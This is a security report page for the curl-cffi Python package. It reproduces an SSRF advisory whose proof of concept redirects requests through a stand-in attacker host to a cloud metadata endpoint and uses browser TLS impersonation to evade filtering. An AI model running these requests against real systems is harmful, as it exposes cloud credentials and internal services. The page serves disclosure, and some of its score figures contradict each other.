pypi package report

Is curl-cffi safe?

2 known vulnerabilities, worst severity HIGH.

// reach

25 direct dependencies

12 carry known advisories, worst CRITICAL

36 packages depend on it

an advisory here reaches each of them

Create a free accountfor every dependency path, dependent and what to upgrade
// ai model usage

No published models are known to use this package.


cvss
0.0
high

severity out of 10

epss
0.00%
medium

chance of exploitation in 30 days, 38th percentile of all CVEs

xyz score
0.0
medium

CyberXYZ composite out of 10

fig. 01 — GHSA-qw2m-4pqf-rmpp, the advisory selected below

// 2 advisories

GHSA-qw2m-4pqf-rmpp

HIGHCVE-2026-33752
// summary

curlcffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curlcffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

// details

The issue comes from how curlcffi handles outbound requests

  • User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).
  • Redirects are automatically followed (CURLOPTFOLLOWLOCATION = 1) inside libcurl.
  • There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can

  • Provide a URL pointing to an attacker-controlled server
  • Return a redirect response pointing to an internal service
  • Have curlcffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curlcffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

// poc
  • Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
  • Redirect to internal service

Attacker server:

GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Victim code:

import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Result

  • Initial request goes to attacker server
  • Redirect is returned
  • libcurl follows the redirect automatically
  • Internal metadata endpoint is accessed
  • With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In some environments, this may help the request bypass TLS-based filtering controls.

// impact

An attacker who can control the requested URL may be able to:

  • Access internal network services
  • Reach cloud metadata endpoints and retrieve sensitive information
  • Bypass certain outbound filtering mechanisms (depending on environment)

This corresponds to CWE-918 Server-Side Request Forgery.

// cvss v3.1 vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Checked 2026-10-23 at 18:53 UTC. The most recent advisory here was published 2026-04-03. Updated continuously from NVD, GHSA, OSV and CNA feeds.

Think a verdict here is wrong? Tell us — we respond within 2 business days.